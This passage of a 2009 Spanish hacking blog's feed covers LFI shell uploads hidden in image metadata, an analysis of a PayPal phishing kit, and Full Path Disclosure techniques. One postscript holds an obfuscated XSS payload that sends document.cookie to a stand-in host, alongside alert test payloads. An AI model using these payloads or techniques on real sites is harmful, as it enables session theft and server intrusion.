$&lt;/pre&gt; Entonces, si el código HTTP devuelto es 200 (OK) el valor de a, que comienza siendo 0, va a ser 1 lo que haría que awk de como output todo el resultado de la cabecera.&lt;/blockquote&gt;Si querés mas información del tema:&lt;br /&gt;&lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html"&gt;HTTP/1.1: Header Field Definitions&lt;/a&gt;&lt;br /&gt;&lt;a href="http://0verl0ad.blogspot.com/search/label/HTTP"&gt;Posts sobre http en el blog&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;No necesito que me digan que no soy bueno en bash, pero acepto sugerencias, mejoras, opiniones, etc.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3442741119672702929?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/3442741119672702929/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=3442741119672702929' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3442741119672702929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/3442741119672702929'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/06/serverinfo-01.html' title='ServerInfo 0.1'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8554039244987595820</id><published>2009-05-21T23:01:00.002+02:00</published><updated>2009-05-21T23:28:20.418+02:00</updated><title type='text'>Impuestazo tecnológico en Argentina</title><content type='html'>&lt;blockquote&gt;En estos días el Congreso de la Nación debatirá el Proyecto de Ley 07-PE-09 (impulsado por el Gobierno Nacional) que aumenta la tasa de IVA del 10.5% a 21% para productos TIC (notebooks, monitores, cámaras de fotos y celulares y productos de otros sectores como aires acondicionados, etc); además, modifica la Ley de Impuestos Internos, gravando dichos productos con una alícuota del 20,48%.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;¿Qué significa esto para el consumidor común y corriente?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Un incremento promedio de precios de esos productos aproximadamente del 30% al 40%, con un impacto directo para todos nosotros y sobre todo para los sectores de menores ingresos.&lt;br /&gt;Este impuestazo llevaría necesariamente al aumento de precios de todos estos productos.&lt;/blockquote&gt;&lt;blockquote&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Creo que ya estan suficientemente caras las cosas como para subir mas el precio. Se acuerdan de los incentivos como el plan MiPC? que pasó?&lt;br /&gt;Pueden bajarse el pdf con el proyecto &lt;a href="http://www1.hcdn.gov.ar/dependencias/dsecretaria/Periodo2009/PDF2009/TP2009/0007-PE-09.pdf"&gt;aca&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En una parte dice:&lt;br /&gt;&lt;blockquote&gt;Por otra parte, importa incorporar al objeto del&lt;br /&gt;gravamen que nos ocupa, determinados productos suntuarios, de forma tal que quienes más&lt;br /&gt;poseen colaboren en mayor medida en la formación de las reservas necesarias para&lt;br /&gt;enfrentar con mejores medios la crisis financiera internacional y de aquellos bienes que&lt;br /&gt;demandan un alto consumo energético, de manera tal de incentivar el uso racional de la&lt;br /&gt;energía, en consonancia con las políticas vigentes a nivel nacional e internacional.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Según la RAE:&lt;blockquote&gt;suntuoso, sa.&lt;br /&gt;(Del lat. sumptuōsus).&lt;br /&gt;1. adj. Grande y costoso.&lt;br /&gt;2. adj. Dicho de una persona: Magnífica en su gasto y porte.&lt;br /&gt;&lt;/blockquote&gt;Claro, resulta que una computadora ahora es un lujo y no una herramienta y alguien que no sabe usar una computadora tiene las mismas oportunidades de trabajo que alguien que si lo sabe hacer.&lt;br /&gt;También habla de que colaboren "los que mas tienen". Los que mas tienen son los que gastan &lt;a href="http://www.cristina.com.ar/"&gt;millones robados a la gente&lt;/a&gt; en viajes y lujos o alguien que se compra una computadora para trabajar, aprender o acercarse a la tecnologia?&lt;br /&gt;&lt;br /&gt;El proyecto se va a tratar despues del 28 de junio, mientras pueden informarse en &lt;a href="http://no-al-impuestazo-tecnologico.blogspot.com/"&gt;http://no-al-impuestazo-tecnologico.blogspot.com/&lt;/a&gt; e intentar mostrar su descontento a los diputados &lt;a href="http://no-al-impuestazo-tecnologico.blogspot.com/2009/05/oponete-mandando-e-mail-los-diputados.html"&gt;enviandoles un email&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Ojo, que también es culpa de todos nosotros (en realidad yo no porque todavia no voto, pero hablo del pueblo en general) por votar a estos garcas. Estaria bueno que todos vean &lt;a href="http://www.youtube.com/watch?v=ccgMUvGKY44&amp;amp;eurl=http%3A%2F%2Fwww.youtube.com%2F&amp;amp;feature=player_embedded"&gt;este&lt;/a&gt; video.&lt;br /&gt;&lt;br /&gt;Me entere en &lt;a href="http://nicolaspadula.com/2009/05/17/impuesto-al-hardware-en-argentina/"&gt;NPGeek&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8554039244987595820?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8554039244987595820/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8554039244987595820' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8554039244987595820'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8554039244987595820'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/05/impuestazo-tecnologico-en-argentina.html' title='Impuestazo tecnológico en Argentina'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-7124506563835960308</id><published>2009-05-04T15:38:00.014+02:00</published><updated>2009-06-07T22:33:54.862+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='File Inclusion'/><category scheme='http://www.blogger.com/atom/ns#' term='Metadatos'/><title type='text'>Metadatos IV: File inclusion &amp; malicious metadata</title><content type='html'>Saludos!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Todo el mundo sabe que si una web tiene una vulnerabilidad LFI, y además cuenta con un uploader de imágenes (avatares, firmas, cosas así por ejemplo) o cualquier otro fichero, estás más que jodido. Normalmente simplemente tus shell.php la renombrabas a .jpeg, subías y fin, pero, hace ya un par de años hubo una persona que pensó más allá y se le ocurrió la magnífica idea de incluir la shell dentro de una imagen ya existente sin que esta se vea modificada, de tal forma que tú pudieras visualizar la imagen y así pasar desapercibida la shell. Esta idea la publicó CodeBreak en un paper llamado "&lt;a href="http://www.milw0rm.com/video/watch.php?id=57"&gt;Local JPEG Inclusion&lt;/a&gt;".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora bien, y si ampliamos el espectro de extensiones al subir, es decir, no solo modificar de forma inapreciable una imagen, sino hacerlo con cualquier extensión que nos permita modificar sus metadatos. Esta es una gran idea: inyectar PHP en los metadatos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bueno, la verdad es que no tengo tiempo de probar algunas herramientas para hacer esto, por lo que os encomiendo a vosotros que probeis herramientas como exiftool y me digais los resultados.&lt;br /&gt;&lt;br /&gt;PD: ya sé que es un post muy corto, pero no ando con tiempo de explayarme más.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-7124506563835960308?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/7124506563835960308/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=7124506563835960308' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7124506563835960308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/7124506563835960308'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/05/metadatos-iv-file-inclusion-malicious.html' title='Metadatos IV: File inclusion &amp; malicious metadata'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1991614419239375272</id><published>2009-04-24T01:44:00.004+02:00</published><updated>2009-04-30T01:00:10.388+02:00</updated><title type='text'>Metes la mano en la lata y tenes la de otro en el bolsillo...</title><content type='html'>Ayer (del dia en que empece a escribir el post, ya pasó mas tiempo)alguien que vamos a llamar "Señor G", me paso un... llamemoslo "script curiosamente parecido al login de paypal" para que lo mire (esto si es en serio, nunca pense en usarlo) y revise por que no andaba.&lt;br /&gt;La línea que no andaba usa una función que no conosco, pero ese no es el tema del post. Lo que pasa es que mirando el código vi algo raro, fijense ustedes:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img117.imageshack.us/img117/3596/scam.png"&gt;&lt;img src="http://img117.imageshack.us/img117/3596/scam.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Para que todo esté mas claro, voy a modificar el código para que muestre el valor de las variables:&lt;br /&gt;&lt;a href="http://img253.imageshack.us/img253/1834/scamj.png"&gt;&lt;img src="http://img253.imageshack.us/img253/1834/scamj.png" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;b&gt;seth@Tux:~/Desktop$ php scam.php&lt;/b&gt;&lt;i&gt;&lt;br /&gt;El valor de $ar es&lt;br /&gt;Array&lt;br /&gt;(&lt;br /&gt;    [dont] =&gt; suck&lt;br /&gt;    [remove] =&gt; ea&lt;br /&gt;    [its] =&gt; ndo&lt;br /&gt;    [good] =&gt; @&lt;br /&gt;    [for] =&gt; gm&lt;br /&gt;    [your] =&gt; ail.&lt;br /&gt;    [scam] =&gt; com&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;Valor de $to: "suckeando@gmail.com"&lt;br /&gt;Warning: file_get_contents(index.htm): failed to open stream: No such file or directory in /home/seth/Desktop/scam.php on line 13&lt;br /&gt;&lt;br /&gt;El valor de $arr es&lt;br /&gt;Array&lt;br /&gt;(&lt;br /&gt;    [0] =&gt; usuario@dominio.tld&lt;br /&gt;    [1] =&gt;&lt;br /&gt;)&lt;br /&gt;&lt;br /&gt;Opa! email nuevo&lt;br /&gt;Destinatario: "usuario@dominio.tld"&lt;br /&gt;Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"&lt;br /&gt;Mensaje: "todos los datos robados"&lt;br /&gt;Cabeceras:&lt;br /&gt;"From: PeiPei&lt;webmaster@regalos.com&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;Opa! email nuevo&lt;br /&gt;Destinatario: "suckeando@gmail.com"&lt;br /&gt;Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"&lt;br /&gt;Mensaje: "todos los datos robados"&lt;br /&gt;Cabeceras:&lt;br /&gt;"From: PeiPei&lt;webmaster@regalos.com&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;Opa! email nuevo&lt;br /&gt;Destinatario: ""&lt;br /&gt;Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"&lt;br /&gt;Mensaje: "todos los datos robados"&lt;br /&gt;Cabeceras:&lt;br /&gt;"From: PeiPei&lt;webmaster@regalos.com&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;Opa! email nuevo&lt;br /&gt;Destinatario: "suckeando@gmail.com"&lt;br /&gt;Asunto: "PaYPaL USA Bank ReZuLtAdOs DeL Spam"&lt;br /&gt;Mensaje: "todos los datos robados"&lt;br /&gt;Cabeceras:&lt;br /&gt;"From: PeiPei&lt;webmaster@regalos.com&gt;&lt;br /&gt;MIME-Version: 1.0&lt;br /&gt;"&lt;br /&gt;&lt;br /&gt;Enviando cabecera:"Location: Thanks.htm"&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;hr&gt;&lt;br /&gt;&lt;br /&gt;A ver si se entiende, todo lo que se hace con $ar es lo mismo que&lt;br /&gt;&lt;i&gt;$to="suckeando@gmail.com"&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Despues se crea el array $arr con tu email y $IP (antes se pone el ip del que se le roban los datos, asi que no se que es)&lt;br /&gt;&lt;br /&gt;Mas tarde se entra en un bucle que recorre ese array y manda el email a $IP (???), $send (vos) y $to (dos veces).&lt;br /&gt;&lt;br /&gt;Al final se redirije al usuario a Thanks.htm para que no sospeche&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-1991614419239375272?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/1991614419239375272/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=1991614419239375272' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1991614419239375272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/1991614419239375272'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/metes-la-mano-en-la-lata-y-tenes-la-de.html' title='Metes la mano en la lata y tenes la de otro en el bolsillo...'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-8648074297234898633</id><published>2009-04-21T23:58:00.003+02:00</published><updated>2009-04-24T00:03:54.076+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Flisol'/><category scheme='http://www.blogger.com/atom/ns#' term='Software libre'/><title type='text'>Flisol 09</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://preguntaslinux.org/imagesPL/headbox.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 600px; height: 300px;" src="http://preguntaslinux.org/imagesPL/headbox.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Pueden buscar una reunión cerca de donde viven &lt;a href="http://www.installfest.net/FLISOL2009/Ciudades"&gt;aca&lt;/a&gt;. Si tienen varias cerca, mirenlas todas porque capaz hacen unos kilómetros mas y consiguen mejores charlas, que te presten monitores, etc.&lt;br /&gt;&lt;br /&gt;¿Quién lo organiza?&lt;br /&gt;&lt;br /&gt;La Comunidad de Software Libre en Latinoamérica, conformada por personas y grupos de diversa índole, con el apoyo de otras entidades, principalmente educativas, y algunos patrocinadores de los eventos en cada localidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¿A quién está dirigido?&lt;br /&gt;&lt;br /&gt;El evento está dirigido a todo tipo de público: estudiantes, académicos, empresarios, trabajadores, funcionarios públcios, entusiastas y aun personas que no poseen mucho conocimiento informático.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¿Cuánto cuesta?&lt;br /&gt;&lt;br /&gt;La asistencia al evento es totalmente libre y gratuita.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;¿Qué beneficios obtengo?&lt;br /&gt;&lt;br /&gt;Tendrás la oportunidad de instalar software libre en tu computadora, apreciar qué es una real y segura alternativa a otros modelos de desarrollo y distribución de software.&lt;br /&gt;&lt;br /&gt;Informarte sobre la filosofía, cultura y organización alrededor del mismo.&lt;br /&gt;Conocer las experiencias, desarrollos e investigaciones de grupos y entidades en torno al Software Libre, tanto a nivel local como nacional e internacional.&lt;br /&gt;&lt;br /&gt;Tal vez encuentres una alternativa/solución en software libre para ti, tu empresa, colegio, universidad e, incluso, para tu gobierno.&lt;br /&gt;&lt;br /&gt;Podrás aclarar tus dudas acerca de los temas relacionados y, quizás encuentres en el software libre, una alternativa de investigación, empleo y desarrollo tecnológico.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-8648074297234898633?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/8648074297234898633/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=8648074297234898633' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8648074297234898633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/8648074297234898633'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/flisol-09.html' title='Flisol 09'/><author><name>&amp;gt;&amp;gt; s E t H &amp;lt;&amp;lt;</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_T9ZQx9gPX0g/SLB4XuymANI/AAAAAAAAAAc/rrlFf7SWlG4/s1600-R/16190.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-4187440302561500059</id><published>2009-04-14T00:36:00.007+02:00</published><updated>2009-04-19T00:11:03.514+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Otras Vulnerabilidades'/><title type='text'>Full Path Disclosure [FPD]</title><content type='html'>Saludos a todos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hace ya tiempo que no hago mención a alguna vulnerabilidad de esas que consideramos de Regional Preferente... me refiero a esas que medio mundo desprecia, y el otro medio cuando algún colgado (como el servidor aquí presente) explica dicen aquello de... AHH ¿Pero esto es una vulnerabilidad?. Y como no podría ser de otra forma, el Full Path Disclosure, es una entra en esta categoría... ¡tan innecesarias y útiles a la vez!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;De su propio nombre podemos imaginarnos con una probabilidad de éxito cerca al 0'87 (eliminamos a aquellos que ni jota de inglés x'D) qué es lo que hace esta vulnerabilidad. Si eres de esa pequeña franja que no se lo imagin... Se trata de poder ver las rutas reales del servidor. Si ves una web cualquiera, al estilo de www.ejemplo.mil/Prueba/Concepto/Index.php, y pecasemos de ingenuidad, podrías llegar a pensar que Index.php se encuentra en /home/Prueba/Concepto/Index.php, pero te aseguro que así no es. Lo más normal es que fuera /home/Victor/html_docs/Prueba/Concepto/Index.php, /home/Victor/html_public/web/Prueba/Concepto/Index.php, etc...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Entonces el FPD consiste en que tras introducir valores malformados podamos obtener errores de los cuales extraer la ruta. Esto te va sonando más, ¿Verdad? Son los clásicos errores de:&lt;br /&gt;&lt;code&gt;&lt;b&gt;&lt;br /&gt;Warning: main(/include/lang/es.php): failed to open stream: No such file or directory in /home/PoC/include/global.php on line 18&lt;br /&gt;&lt;br /&gt;Warning: main(): Failed opening '/include/lang/es.php' for inclusion (include_path='.:/home/PoC/include') in /home/miarroba/include/global.php on line 18 t&lt;br /&gt;&lt;/b&gt;&lt;/code&gt;&lt;b&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;En ese error encontramos el más clásico entre los clásicos errores que nos aparecen al tratar de explotar un LFI. Y es en este momento donde te das cuenta de para qué sirve estos errores... Como acabo de decir, en los LFIs es muy interesante para poder localizar el lugar donde se encuentran los ficheros que incluye (P.E.: $path = "/Includes/Juaker/".$_GET['file']; include($path);, ya sabes qeu si tu shell está en /Includes/Upload/, vas a necesitar aplicar un ../ para saltar a /Includes/). Otro ejemplo común puede ser para emplear sentencias de volcado de contenido de ficheros a través de SQLi, donde por ejemplo para emplear load_file() necesitaremos conocer el path exacto de donde se encuentra el fichero que le pasamos como parámetro.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pero hasta ahora hemos estado hablando de forma muy abstracta, mucho bla bla y poco movimiento, así que procedo algunas formas de provocar un FPD. Por supuesto que la más clásica y mítica es introducir un fichero inexistente como parámetro a una función del script que trabaje con ficheros... como no encuentra el archivo, nos arrojará un error al estilo del que ya he mostrado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;En general esto de meter parámetros malformados o erróneos suele funcionar en bastantes ámbitos, por ejemplo, si hacemos un clásico SQLi a un sistema que corre Windows, lo más probable es que nos encontremos con un mensajito de error volcado por OLE DB en el cual encontraremos la ruta del script que obtuvo el error. Otro escenario, quizás menos habitual pero igualmente interesante, es la de provocar Null Sessions (o introducir caracteres extraños en una cookie) para que session_start() de un error (idea sacada de OWASP).&lt;br /&gt;&lt;br /&gt;La última forma que se me ocurre ahora mismo es una que leí de Xianur0 en su paper sobre vulnerabilidades en SMF, y es la de usar un array vacío. Por ejemplo: /index.php=seth[]=SUCKS&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creo que las vulnerabilidades de Sensitive Information al estilo de esta están muy infravaloradas, ya que casi siempre (quizás soy el único ser humano al que le ocurre esto) son un recurso interesante y útil a la hora de una auditoría de seguridad en WebApps.&lt;br /&gt;&lt;br /&gt;Y cómo solucionarlo... facil, en las directivas poner error_reporting(0) :D&lt;br /&gt;&lt;br /&gt;Byt3z&lt;br /&gt;&lt;br /&gt;PD: Si conoceis más métodos de provocar FPDs, posteadlos.&lt;br /&gt;&lt;br /&gt;PD: onmouseover="h=String.fromCharCode(104,116,116,112,58,47,47,108,111,99,97,108,104,111,115,116,47,99,111,46,112,104,112,63,99,107,61);document.location(h.concat(document.cookie);"&lt;br /&gt;PD2: onclick="alert(String.fromCharCode(112,114,117,101,98,97,115,53));"&lt;br /&gt;PD3:"onmouseover="alert(String.fromCharCode(112,114,117,101,98,97,115,54));"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4187440302561500059?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/4187440302561500059/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=4187440302561500059' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4187440302561500059'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/4187440302561500059'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/full-path-disclosure-fpd.html' title='Full Path Disclosure [FPD]'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-5651114864917513567</id><published>2009-04-13T10:47:00.004+02:00</published><updated>2009-04-13T11:27:05.284+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Metadatos'/><title type='text'>Metadatos III: OpenOffice</title><content type='html'>Saludos a  todos,&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Hoy vamos a hablar de los metadatos en los archivos ofimáticos creados con OpenOffice (que abreviaremos con OO a partir de este momento), ya que está bastante referenciada y es relativamente fácil de entender. &lt;br /&gt;&lt;br /&gt;   OpenOffice trabaja con ODF, un formato de archivos orientado al almacenamiento de aplicaciones ofimáticas que está basado en un esquema XML. Si se trata de "almacenamiento", podemos deducir que contiene ficheros dentro. Para poder ver que tiene simplemente click derecho-&gt;Extraer aquí; y como resultado tendremos carpetas y archivos, de entrada podemos ver:&lt;br /&gt;&lt;br /&gt;------[directorios]---&lt;br /&gt;&lt;br /&gt;META-INF/&lt;br /&gt;Thumbnails/&lt;br /&gt;Pictures/&lt;br /&gt;Configurations2/&lt;br /&gt;&lt;br /&gt;------[Archivos]---&lt;br /&gt;&lt;br /&gt;content.xml&lt;br /&gt;meta.xml&lt;br /&gt;settings.xml&lt;br /&gt;styles.xml&lt;br /&gt;mimetype&lt;br /&gt;layout-cache&lt;br /&gt;&lt;br /&gt;   Dentro de cada directorio encontraremos más ficheros, pero que a nosotros nos interse realmente, sólo es meta.xml, aunque como metadata "real" manifest.xml también merece ser mencionado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Dentro de META-INF como podemos pensar a simple vista encontraremos metadatos, pero no de esos jugosos que a nosotros nos interesa, si no que nos encontramos un archivo .xml llamado "manifest.xml", si lo abrimos:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://img509.imageshack.us/img509/2863/pantallazoa.png"&gt;&lt;img src="http://img509.imageshack.us/img509/2863/pantallazoa.png" width=600 height=500&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Podremos ver un listado de las carpetas y archivos que se encuentran dentro del documento ODF. Nada intersante, si lo comparamos con con lo que podemos encontrar en meta.xml. Ahí encontramos todo lo que buscamos, authores, editores, fechas, programa con que se generó, fechas, editajes, etc... &lt;br /&gt;            &lt;br /&gt;&lt;a href="http://img382.imageshack.us/img382/2295/pantallazo.png"&gt;&lt;img src="http://img382.imageshack.us/img382/2295/pantallazo.png" width=600 height=500&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Si se desea aprender más sobre ODF y los metadatos, existe bastante información en la página oficial, aquí dejo sólo un link, pero os aseguro qeu es fácil encontrar toda la información de forma detallada:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oasis-open.org/committees/download.php/26847/08-01-16-ODF-Metadata-Proposal-Committee-Draft.odt"&gt;ODF 1.2 Metadata specification&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Byt3z&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5651114864917513567?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0verl0ad.blogspot.com/feeds/5651114864917513567/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2806641995089653786&amp;postID=5651114864917513567' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5651114864917513567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2806641995089653786/posts/default/5651114864917513567'/><link rel='alternate' type='text/html' href='http://0verl0ad.blogspot.com/2009/04/metadatos-iii-openoffice.html' title='Metadatos III: OpenOffice'/><author><name>The X-C3LL</name><uri>http://www.blogger.com/profile/03278676556306484665</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='23' src='http://1.bp.blogspot.com/_uXtiiCW6OCQ/SeO-V5l87xI/AAAAAAAAACM/Dj4wqobzFxE/S220/rorschach.sized.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2806641995089653786.post-1932823197512470950</id><published>2009-04-11T07:55:00.003+02:00</published><updated>2009-04-24T00:04:59.315+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Seguridad por oscuridad'/><title type='text'>Saltarse el "tenes que estar registrado para..."</title><content type='html'>Hay páginas que ofrecen recursos (imágenes, libros en pdf, etc) gratis, pero para descargarlos piden que te registres. Por ejemplo planetrenders quiero bajarme &lt;a href="http://planetrenders.net/renders/displayimage.php?pos=-27554"&gt;este&lt;/a&gt; render. Pueden ver la imágen chica pero para bajarla en tamaño completo te piden que te registres.&lt;br /&gt;La url de la vista previa es esta: &lt;a href="http://planetrenders.net/renders/albums/userpics/24332/normal_papillon%20copie.png"&gt;http://planetrenders.net/renders/albums/userpics/24332/normal_papillon%20copie.png&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Simplemente le borramos el "normal_" y la tenemos del tamaño original: &lt;a 